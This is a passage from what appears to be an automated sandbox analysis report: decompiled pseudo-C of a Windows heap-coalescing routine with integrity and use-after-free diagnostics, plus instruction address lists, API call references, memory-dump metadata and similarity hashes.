							__eflags =  *((short*)(_t349 + _t333 * 2));
							if( *((short*)(_t349 + _t333 * 2)) == 0) {
								goto L100;
							} else {
								_t333 = _t333 + 1;
								continue;
							}
						}
						goto L12;
					}
				}
			}

0x6a942f75
0x6a942f77
0x6a942f7c
0x6a942f87
0x6a942f88
0x6a942f8e
0x6a942f93
0x6a942f98
0x6a942f9c
0x6a942fa2
0x6a942fa9
0x6a942fb0
0x6a942fb4
0x6a942fb8
0x6a942fbd
0x6a985e6d
0x6a985e6d
0x6a9432f1
0x6a9432f4
0x6a943302
0x6a943302
0x6a942fc3
0x6a942fca
0x00000000
0x6a942fd0
0x6a942fd0
0x6a942fd5
0x6a942fd9
0x6a942fe0
0x00000000
0x6a942fef
0x6a942fef
0x6a942ff0
0x00000000
0x6a942ff0
0x6a942fe0
0x6a942ff5
0x6a942ff8
0x6a942ffa
0x6a943013
0x6a943019
0x6a94301c
0x6a94301f
0x6a943022
0x6a943025
0x6a94302c
0x6a943033
0x6a943036
0x6a943038
0x6a9434db
0x6a9434dd
0x6a9434e0
0x6a9434e3
0x6a94305a
0x6a94305a
0x6a943061
0x6a943063
0x6a943066
0x6a943068
0x6a94306b
0x6a94306d
0x6a9432cd
0x6a9432cd
0x6a9432d0
0x6a9432d2
0x6a943478
0x6a94347a
0x6a94347a
0x6a9432d8
0x6a9432da
0x6a943305
0x6a943309
0x00000000
0x00000000
0x6a94330b
0x6a94330d
0x6a985f99
0x6a985f9f
0x6a985fa6
0x6a943365
0x6a943365
0x6a943368
0x6a94336a
0x6a943503
0x6a943513
0x6a94351b
0x6a943522
0x6a943527
0x6a94352a
0x6a94352d
0x6a94352f
0x6a94353d
0x6a943542
0x6a943542
0x6a943545
0x6a943547
0x6a94354f
0x6a943552
0x6a943555
0x6a94355b
0x6a943563
0x6a94356b
0x6a94356d
0x6a943570
0x6a943572
0x6a943578
0x6a94357b
0x6a94357e
0x00000000
0x6a943584
0x6a943584
0x6a94358a
0x6a94358d
0x6a943590
0x6a943596
0x00000000
0x6a943596
0x6a94357e
0x6a943377
0x6a943379
0x6a94337c
0x6a94337e
0x6a985f0c
0x6a985f0c
0x00000000
0x6a985f0c
0x6a943384
0x6a943386
0x6a985fad
0x6a94338c
0x6a94338e
0x6a943391
0x6a943391
0x6a943393
0x6a94339b
0x6a9433a0
0x6a9433a3
0x6a9433a3
0x6a9433a6
0x6a9433a9
0x6a9433af
0x6a9433b7
0x6a9433c2
0x6a9433c9
0x6a9433cc
0x6a9433cf
0x6a9433d5
0x6a9433dd
0x6a9433e8
0x6a9433ec
0x6a9433ef
0x6a9433f2
0x6a9433f4
0x6a985fb6
0x6a985fb9
0x6a9433fa
0x6a943402
0x6a94340a
0x6a94340d
0x6a94340f
0x6a94341d
0x6a943422
0x6a94340f
0x6a943425
0x6a943428
0x6a94342b
0x6a94342d
0x6a9434ee
0x6a943433
0x6a943433
0x6a943436
0x6a94343c
0x6a943442
0x6a943442
0x6a943442
0x6a943442
0x6a943448
0x6a94344c
0x6a943457
0x6a94345c
0x6a94345c
0x6a94346e
0x00000000
0x6a94346e
0x6a943313
0x6a943316
0x6a943316
0x6a943316
0x6a943319
0x6a94331c
0x00000000
0x00000000
0x6a943320
0x6a943320
0x6a943323
0x6a943326
0x6a943329
0x00000000
0x00000000
0x6a94332b
0x6a94332b
0x6a943320
0x6a943333
0x6a943347
0x6a943349
0x6a943355
0x6a943355
0x6a943358
0x6a94335f
0x6a943362
0x00000000
0x6a9432dc
0x6a9432dc
0x6a9432dc
0x6a9432df
0x6a9432df
0x6a9432e2
0x6a9432e2
0x6a9432e9
0x6a9432ee
0x00000000
0x6a9432ee
0x6a9432da
0x6a943076
0x6a943080
0x6a943080
0x6a943080
0x6a943083
0x00000000
0x00000000
0x6a943089
0x6a94308b
0x6a94308e
0x6a94308e
0x6a943090
0x6a943093
0x6a943093
0x6a943096
0x6a943099
0x6a94309c
0x6a94309f
0x00000000
0x00000000
0x6a9430a1
0x6a9430a4
0x00000000
0x00000000
0x6a9430aa
0x6a9430ac
0x6a9430af
0x6a9430af
0x6a9430b2
0x6a9430b5
0x6a9430b7
0x6a9430c0
0x6a9430c0
0x6a9430c3
0x00000000
0x00000000
0x6a9430c5
0x6a9430c8
0x6a9430c8
0x6a9430cf
0x6a9430cf
0x6a9430d1
0x6a9430d3
0x6a9430d6
0x00000000
0x6a9430d6
0x6a9430d9
0x6a9430dc
0x6a9430df
0x6a9430e2
0x6a9430e4
0x6a9430e7
0x6a9430ea
0x6a9430ed
0x6a943153
0x6a943153
0x6a9430ef
0x6a9430f2
0x6a9430f5
0x6a9430f5
0x6a9430f7
0x00000000
0x00000000
0x6a9430fd
0x6a943100
0x6a943103
0x6a943106
0x6a943109
0x6a94310c
0x6a94310f
0x6a943112
0x6a943115
0x6a943117
0x6a943158
0x6a943158
0x6a94315b
0x6a943161
0x6a943164
0x6a943167
0x00000000
0x6a943167
0x6a943119
0x6a94311f
0x6a943122
0x6a94317a
0x6a94317d
0x6a985eb7
0x6a985eb9
0x6a985ec7
0x6a985eca
0x6a943183
0x6a943183
0x6a943183
0x6a94317d
0x6a943124
0x6a943127
0x6a94312a
0x6a94316c
0x6a94316f
0x6a985ef1
0x6a985ef3
0x6a985f01
0x6a985f04
0x6a943175
0x6a943175
0x6a943175
0x6a94316f
0x6a94312c
0x6a94312f
0x6a943131
0x00000000
0x6a943133
0x6a943133
0x6a943133
0x6a943135
0x6a943135
0x6a943137
0x6a943190
0x6a943192
0x6a943195
0x6a943195
0x6a943195
0x6a943198
0x6a94319b
0x00000000
0x00000000
0x6a9431a0
0x6a9431a0
0x6a9431a3
0x6a9431a6
0x6a9431a9
0x00000000
0x00000000
0x6a9431ab
0x6a9431ab
0x6a9431a0
0x6a9431b0
0x6a9431b3
0x6a9431b6
0x6a9431b9
0x6a9431bb
0x6a9434fc
0x6a9434fd
0x6a9434fe
0x6a9434b0
0x6a9434b0
0x6a9434b5
0x6a9434b8
0x6a9434b8
0x6a9434bc
0x6a9434ce
0x6a9434d3
0x6a9434d3
0x00000000
0x6a9434bc
0x6a9431c1
0x6a9431c4
0x6a9431c7
0x6a943482
0x6a943489
0x6a94348e
0x6a943494
0x6a943498
0x6a94349b
0x6a9434a1
0x6a9434a4
0x00000000
0x00000000
0x6a9434aa
0x6a9434aa
0x6a9434ad
0x6a9434ae
0x6a9434af
0x00000000
0x6a9434af
0x6a9431cd
0x6a9431dc
0x6a9431e1
0x6a9431ef
0x6a9431f1
0x6a9431f4
0x6a9431f6
0x6a985f1f
0x6a985f28
0x6a985f2c
0x6a985f2f
0x6a985f3a
0x6a985f42
0x6a985f47
0x6a985f51
0x6a985f56
0x6a985f59
0x6a985f5d
0x6a985f5f
0x6a985f65
0x6a985f6b
0x6a985f71
0x6a985f71
0x6a985f71
0x6a985f71
0x6a985f77
0x6a985f7b
0x6a985f89
0x6a985f8e
0x6a985f8e
0x6a985f91
0x00000000
0x6a985f91
0x6a943201
0x6a943203
0x6a943206
0x6a943208
0x00000000
0x00000000
0x6a943211
0x6a943218
0x6a94321e
0x6a943226
0x6a94322b
0x6a943233
0x6a94323b
0x6a94323f
0x6a943250
0x6a943255
0x6a943258
0x6a94325b
0x6a94325e
0x6a943260
0x6a985f18
0x6a943266
0x6a943266
0x6a943269
0x6a94326f
0x6a943275
0x6a943275
0x6a943275
0x6a943275
0x6a94327b
0x6a94327f
0x6a94328d
0x6a943292
0x6a943292
0x6a943295
0x6a943299
0x6a9432a4
0x6a9432a9
0x6a9432a9
0x6a9432bc
0x6a9432c1
0x6a9432c4
0x00000000
0x6a9432c4
0x6a943139
0x6a94313f
0x6a943142
0x6a94314b
0x6a94314b
0x6a943142
0x00000000
0x6a943139
0x6a943131
0x6a94318b
0x00000000
0x6a94318b
0x6a9432c7
0x6a9432c7
0x6a9432ca
0x00000000
0x6a9432ca
0x6a985e77
0x6a985e7a
0x6a985e7c
0x6a985e8f
0x6a985e8f
0x00000000
0x6a985e7e
0x6a985e7f
0x6a985e84
0x6a985e87
0x6a985e89
0x00000000
0x00000000
0x00000000
0x6a985e89
0x6a985e7c
0x6a94303e
0x6a943042
0x6a94304f
0x6a943054
0x6a943057
0x00000000
0x6a942ffc
0x6a942ffc
0x6a942ffc
0x6a942ffe
0x6a943001
0x6a943001
0x6a943003
0x00000000
0x00000000
0x6a943005
0x6a94300a
0x00000000
0x6a943010
0x6a943010
0x00000000
0x6a943010
0x6a94300a
0x00000000
0x6a943001
0x6a942ffa

APIs

RtlEnterCriticalSection.1105(?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A94304F
RtlSizeHeap.1105(?,00000000,00000000,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9431DC
memcpy.1105(00000000,00000000,00000000,?,00000000,00000000,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A94321E
memcpy.1105(00000000,6AA079A0,00000000,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943233
memcpy.1105(-00000002,00000000,?,?,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943250
memset.1105(6AA08220,00000000,00000234), ref: 6A94328D
RtlLeaveCriticalSection.1105(?), ref: 6A9432A4
RtlFreeHeap.1105(?,00000000,00000000), ref: 6A9432BC
RtlSizeHeap.1105(?,00000000,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943342
memcpy.1105(00000000,00000000,00000000,?,00000000,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A94339B
memcpy.1105(00000000,?,00000000,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9433B7
memcpy.1105(-00000002,00000000,00000000,?,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9433DD
memcpy.1105(-00000002,00000000,?,?,?,?,?,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE), ref: 6A943402
memset.1105(6AA08220,00000000,00000234,?,?,?,?,?,?,?,?,?,0000003A,6AA079A0,00000000,00000000), ref: 6A94341D
RtlLeaveCriticalSection.1105(?,?,?,?,?,?,?,?,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28), ref: 6A943457
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,?,?,?,?,0000003A,6AA079A0,00000000,00000000), ref: 6A94346E
memcpy.1105(00000000,6AA079A0,00000000,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943489
memmove.1105(6A942F61,?,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9434B0
memset.1105(6AA08220,00000000,00000234,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A9434CE
memmove.1105(00000002,00000000,?,?,00000000,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943513
memcpy.1105(00000000,?,00000000,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943522
memset.1105(6AA08220,00000000,00000234,?,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A94353D
memcpy.1105(-00000002,00000000,00000000,?,?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A943563
RtlIsCriticalSectionLockedByThread.1105(?,?,0000003A,6AA079A0,00000000,00000000,6A9617F0,6A9EFF28,000000FE,?,6A942F61), ref: 6A985E7F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CriticalHeapSectionmemset$FreeLeaveSizememmove$EnterLockedThread
String ID:
API String ID: 3971764801-0
Opcode ID: 0f5dd88f6b9ef4f21ece0edd2b9b66a1063937ff36a1be9f5b768811e271a3b2
Instruction ID: 0b7ac7c0976848aa0bd9c9bcc059d8e0da0208cd98f112cf6d7e2fba35f95b7f
Opcode Fuzzy Hash: 0f5dd88f6b9ef4f21ece0edd2b9b66a1063937ff36a1be9f5b768811e271a3b2
Instruction Fuzzy Hash: C232B1B1E002199FCB14CF78C884BAEBBB5FF59318F254129E815AB391EB35D911CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9399BF, Relevance: 33.8, APIs: 16, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E6A9399BF(signed int __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				signed int _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E6A9CFA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E6A9DA80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E6A96D540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E6A91B150();
										} else {
											E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E6A91B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0x6aa06378 = 1;
											asm("int3");
											 *0x6aa06378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E6A93A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								E6A93A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E6A93BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E6A9DA80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E6A93A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								E6A93A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E6A96D540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E6A91B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0x6aa06378 = 1;
									asm("int3");
									 *0x6aa06378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E6A9CFA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E6A9DA80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E6A96D540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E6A91B150();
													} else {
														E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E6A91B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0x6aa06378 = 1;
														asm("int3");
														 *0x6aa06378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E6A93A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										E6A93A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E6A93BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E6A9DA80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E6A96D540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E6A91B150();
													} else {
														E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E6A91B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0x6aa06378 = 1;
														asm("int3");
														 *0x6aa06378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E6A93A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										E6A93A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E6A93BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E6A93BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x6a9399ca
0x6a9399cc
0x6a9399df
0x6a9399e3
0x6a9399f8
